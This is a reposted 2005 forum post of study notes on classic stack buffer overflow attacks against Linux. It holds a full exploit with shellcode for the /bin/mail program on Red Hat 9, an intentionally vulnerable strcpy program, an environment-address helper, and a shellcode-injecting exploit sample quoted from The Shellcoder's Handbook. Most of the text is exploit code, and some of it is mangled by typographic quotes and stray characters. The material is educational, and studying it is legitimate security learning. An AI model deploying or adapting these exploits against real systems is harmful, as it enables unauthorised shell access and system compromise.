This is another old post from my old forum. It reminds me of those exploits writing days! One day I will be back.
Posted: Tue Dec 13, 2005 10:56 pm
Post subject: Some notes taken when reading on stack overflow attacks
Summary of Stack Overflow Techniques
Basics
Memory Layout Stack Area Operation
bottom of memory top of memory
buffer2 buffer1 sfp(EBP) ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
top of stack (ESP) bottom of stack
- Put the shellcode in the environment
- This is commonly used in case when buffer is too small to put shellcode and return address or the stack is non-executable
- The linux environment address is fixed at 0xbffffffa, thus we can find the address of the shellcode placed in the environment.
- In this case, the return address is at 0xbfffffce. Using a “x/35b 0xbfffffce”, you will see the shellcode nicely placed in the memory.
/* Rick the following code is used to exploit the /bin/mail program in RH9, the cc field buffer size is 8214*/
/*
redhat 9.0 and some others linux have this vul.
#/bin/mail -s test -c `perl -e print “A”x9000′` root@localhost,you can see something wrong.
#I write this exploit just for fun ,because “mail” have not suid.
code by OYXin (www.ph4nt0m.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFSIZE 8214
/*shellcode form s0t4ipv6@shellcode.com.ar*/
char shellcode[] = “\x31\xc0\x50\x68\x2f\x2f\x73\x68″
“\x68\x2f\x62\x69\x6e\x89\xe3\x89″
“\x64\x24\x0c\x89\x44\x24\x10\x8d”
“\x4c\x24\x0c\x8b\x54\x24\x08\xb0″
“\x0b\xcd\x80″;
int main(void)
{
char buf[BUFSIZE+16];
char *prog[] = {”/bin/mail”,”-s”,”TEST”,”-c”,buf,”root@localhost”, NULL};
char *env[] = {”HOME=OYXin”, shellcode, NULL};
unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) - strlen(shellcode) - 0×02;
/*unsigned long ret=0xbffffffa - strlen(prog[0] - strlen(shellcode) */
memset(buf,0×41,sizeof(buf));
memcpy(buf+BUFSIZE,(char *)&ret,4);
memcpy(buf+BUFSIZE+4,(char *)&ret,4);
memcpy(buf+BUFSIZE+8,(char *)&ret,4);
buf[BUFSIZE+12] = 0×00;
execve(prog[0],prog,env);
return 0;
}
/* you must enter “.” and a return to get a shell.*/
- Another common seen situation is to put the shellcode in the environment manually (by export a perl generated strings etc) , then pass it to the vulnerable program as arguments.
A small program can help you get the environment variable address. For each 1 char longer in the executable file name, the address will be differ by 2 bytes. (Don’t forget the stack grows to lower memory space :P)
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *addr;
if (argc < 2)
{
printf(”Usage:\n%s <environment variable name>\n”,argv[0]);
exit(0);
}
addr=getenv(argv[1]);
if(addr == NULL)
printf(”The environment variable %s doesn’t exist.\n”,argv[1]);
else
printf(”%s is located at %p\n”,argv[1],addr);
return 0;
}
- Put the Shellcode in the stack
This is the most “traditional” way introduced in the alpha’s “smash the stack for fun and profit”. However it becomes ineffective in newer version of various OS due to various protection techniques implemented. The general idea is:
- Construct an EGG with NOP padding, shellcode in the centre and return address (to the shellcode or NOP padding) in the last part of the EGG. (From Rick: EGG sounds cuter and a nice name.. don’t know who is the first one thought of this idea?)
- The guessing of return address will be tricky. (see below code which create target at the vulnerable.c , it creates the EGG, put the EGG in a envrionemnt variable and later use it as an argument to the vulnerable.c)
However this code is not effective on Redhat 9.0 kernel 2.4.20-31.9 because the stack pointer (ESP) is not static in this kernel. It is dynamic and random to certain extent based on the process number.
/*this is the vulnerable.c*/
int main(int argc, char **argv[]) {
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
/*end of the vulnerable.c*/
/* This is the exploits */The Shellcoder's Handbook: Discovering and Exploiting Security
HolesJack Koziol, David Litchfield, Dave Aitel, Chris Anley,
Sinan Eren, Neel Mehta, Riley Hassell
Publisher: John Wiley & Sons
ISBN: 0764544683Chapter 2: Stack Overflows
Sample Program #6
Please send comments/feedback to jack@infosecinstitute.com or visit
http://www.infosecinstitute.com
*/
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
/*the missting memory allocation code in the orignal code, maybe just a printing error,
by Rick */
if (!(buff=malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}